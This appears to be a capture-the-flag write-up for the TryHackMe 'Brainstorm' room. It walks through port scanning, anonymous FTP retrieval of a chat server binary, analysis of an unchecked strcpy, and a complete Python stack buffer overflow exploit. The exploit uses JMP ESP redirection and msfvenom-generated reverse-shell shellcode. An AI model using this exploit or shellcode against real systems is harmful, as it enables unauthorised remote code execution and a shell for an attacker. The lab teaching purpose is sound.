Skip to content

About

THM Brainstorm Room Write-Up

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

Brainstorm Write-up

Let's start by scanning the target. Even without the information, we would see by doing a normal scan that the target doesn't answer to ICMP packets. This is because nmap checks by default if the host is up before scanning ports, sending ICMP packets. We can specify the option -Pn to assume the host is up and prevent nmap from checking if the target is up.

$ sudo nmap -Pn -sS -sC -sV -O --min-rate=2000 -p- 10.10.82.163
Starting Nmap 7.93 ( https://nmap.org ) at 2025-08-01 22:39 CEST
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 97.96% done; ETC: 22:40 (0:00:01 remaining)
Nmap scan report for 10.10.82.163
Host is up (0.033s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
21/tcp   open  ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: BRAINSTORM
|   NetBIOS_Domain_Name: BRAINSTORM
|   NetBIOS_Computer_Name: BRAINSTORM
|   DNS_Domain_Name: brainstorm
|   DNS_Computer_Name: brainstorm
|   Product_Version: 6.1.7601
|_  System_Time: 2025-08-01T20:42:53+00:00
|_ssl-date: 2025-08-01T20:43:23+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2025-07-31T19:58:54
|_Not valid after:  2026-01-30T19:58:54
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: 
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters): Write a message:

Port 21 is open (FTP), 3389 (RDP), as well as 9999, which is lied to abyss service according to nmap, but it may be wrong since it's not much of a standard port. According to our scan, the target is a Microsoft Windows Server. Anonymous login is allowed through FTP.

$ ftp 10.10.53.252
Connected to 10.10.53.252.
220 Microsoft FTP Service
Name (10.10.53.252:tintin): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> passive
ftp> binary
ftp> cd chatserver
ftp> get chatserver.exe
ftp> get essfunc.dll

We found 2 binaries. Let's get them. We need to set the transfer mode to "binary" to retrieve the exact binaries. We checking them and opening them in IDA, chatserver.exe is the binary managing the chat server, listening on port 9999 by default. The binary is a simple TCP server. We can connect to it using netcat: $ nc IP_ADDR 9999. Since we got the binary, we can run it from a Windows VM inside x32dbg to be able to analyse it more easily.

From IDA, we see that, after sending our name, messages sent will be passed to a function called Overflow(). This function will copy our message to a local variable using strcpy(). strcpy() detects the end of a string with \x00. Then, we theoretically don't have a limit for the message that will be copied, since there's no \x00 inside.

public _Overflow
_Overflow proc near

Destination= dword ptr -7E8h
Source= dword ptr -7E4h
var_7D8= byte ptr -7D8h
arg_0= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 2024
mov     eax, [ebp+8]
mov     [esp+4], eax    ; Source
lea     eax, [ebp-2008]
mov     [esp], eax      ; Destination
call    _strcpy
leave
retn
_Overflow endp

Our message is copied to a local byte array. The start of it is defined as [ebp-2008]. We are then able to overide what's come next, that is to say elements places onto the stack during the function prologue, especially the return address.

Since we wouldn't know the addresses of the stack on the real machine, we cannot directly specify an address in the stack where we would have placed our code. A way to execute a payload is to replace the return address by the address of a JMP ESP. Since ASLR is not enabled, we need to find the address of a JMP ESP. Then, we could place our payload with the right offset so it starts at ESP after the return of Overflow function.

This instruction can be found at offset 0x14DF in essfunc.dll, with the image base (specified in optional header) being 0x62500000

.text:625014DF jmp     esp

Then our payload could look like this, to redirect EIP to the instruction above.

We need to specify the address in little endian.

We can then add our payload, adding a NOP sled.

A NOP sled is a sequence of "No Operation" instructions (\x90) placed before an attacker's shellcode in a buffer overflow exploit. The purpose of this sled is to create a large area of executable memory. Since the exact memory address of the shellcode can be unpredictable, the attacker can overflow the buffer to overwrite the return address with a location somewhere within the NOP sled instead of the shellcode itself. The processor will then "slide" through the NOP instructions until it reaches and executes the shellcode, making the exploit more reliable against minor shifts in memory addresses.

We can then generate a shellcode using metasploit framework:

$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -b "\x00" -f python --var-name shellcode

Don't forget to change the LHOST and LPORT according to you. For the challenge, your IP need to be the one of the TryHackMe VPN.

We can add the shellcode to our payload, set a netcat listener ($ nc lvnp 4444), and run the script.

Here's the final script:

import socket, sys

address = "10.10.250.176"
port = 9999

name = b"\x74\x69\x6e\x74\x69\x6e\x0d\x0a"		# tintin

shellcode =  b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"		# NOP sled
shellcode += b"\xbf\x8e\x59\x7a\xd4\xda\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x83\xc6\x04\x31\x7e\x0e"
shellcode += b"\x03\xf0\x57\x98\x21\xf0\x80\xde\xca\x08\x51"
shellcode += b"\xbf\x43\xed\x60\xff\x30\x66\xd2\xcf\x33\x2a"
shellcode += b"\xdf\xa4\x16\xde\x54\xc8\xbe\xd1\xdd\x67\x99"
shellcode += b"\xdc\xde\xd4\xd9\x7f\x5d\x27\x0e\x5f\x5c\xe8"
shellcode += b"\x43\x9e\x99\x15\xa9\xf2\x72\x51\x1c\xe2\xf7"
shellcode += b"\x2f\x9d\x89\x44\xa1\xa5\x6e\x1c\xc0\x84\x21"
shellcode += b"\x16\x9b\x06\xc0\xfb\x97\x0e\xda\x18\x9d\xd9"
shellcode += b"\x51\xea\x69\xd8\xb3\x22\x91\x77\xfa\x8a\x60"
shellcode += b"\x89\x3b\x2c\x9b\xfc\x35\x4e\x26\x07\x82\x2c"
shellcode += b"\xfc\x82\x10\x96\x77\x34\xfc\x26\x5b\xa3\x77"
shellcode += b"\x24\x10\xa7\xdf\x29\xa7\x64\x54\x55\x2c\x8b"
shellcode += b"\xba\xdf\x76\xa8\x1e\xbb\x2d\xd1\x07\x61\x83"
shellcode += b"\xee\x57\xca\x7c\x4b\x1c\xe7\x69\xe6\x7f\x60"
shellcode += b"\x5d\xcb\x7f\x70\xc9\x5c\x0c\x42\x56\xf7\x9a"
shellcode += b"\xee\x1f\xd1\x5d\x10\x0a\xa5\xf1\xef\xb5\xd6"
shellcode += b"\xd8\x2b\xe1\x86\x72\x9d\x8a\x4c\x82\x22\x5f"
shellcode += b"\xc2\xd2\x8c\x30\xa3\x82\x6c\xe1\x4b\xc8\x62"
shellcode += b"\xde\x6c\xf3\xa8\x77\x06\x0e\x3b\x72\xc2\x46"
shellcode += b"\x6f\xea\xee\x66\x9e\xb7\x67\x80\xca\x57\x2e"
shellcode += b"\x1b\x63\xc1\x6b\xd7\x12\x0e\xa6\x92\x15\x84"
shellcode += b"\x45\x63\xdb\x6d\x23\x77\x8c\x9d\x7e\x25\x1b"
shellcode += b"\xa1\x54\x41\xc7\x30\x33\x91\x8e\x28\xec\xc6"
shellcode += b"\xc7\x9f\xe5\x82\xf5\x86\x5f\xb0\x07\x5e\xa7"
shellcode += b"\x70\xdc\xa3\x26\x79\x91\x98\x0c\x69\x6f\x20"
shellcode += b"\x09\xdd\x3f\x77\xc7\x8b\xf9\x21\xa9\x65\x50"
shellcode += b"\x9d\x63\xe1\x25\xed\xb3\x77\x2a\x38\x42\x97"
shellcode += b"\x9b\x95\x13\xa8\x14\x72\x94\xd1\x48\xe2\x5b"
shellcode += b"\x08\xc9\x12\x16\x10\x78\xbb\xff\xc1\x38\xa6"
shellcode += b"\xff\x3c\x7e\xdf\x83\xb4\xff\x24\x9b\xbd\xfa"
shellcode += b"\x61\x1b\x2e\x77\xf9\xce\x50\x24\xfa\xda"


buffer = b"\x41" * 2008 + b"\x43\x43\x43\x43" + b"\xdf\x14\x50\x62" + shellcode

try:
	print("[+] Sending buffer")
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((address, port))
	s.recv(2048)
	s.sendall(name)
	print("[+] Name sent")
	input("> Press enter to send payload")
	s.recv(1024)
	s.send(buffer)
	print("[+] Buffer sent")
except:
	print("[-] Unable to connect")
	sys.exit(0)
finally:
	s.close()

About

THM Brainstorm Room Write-Up

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors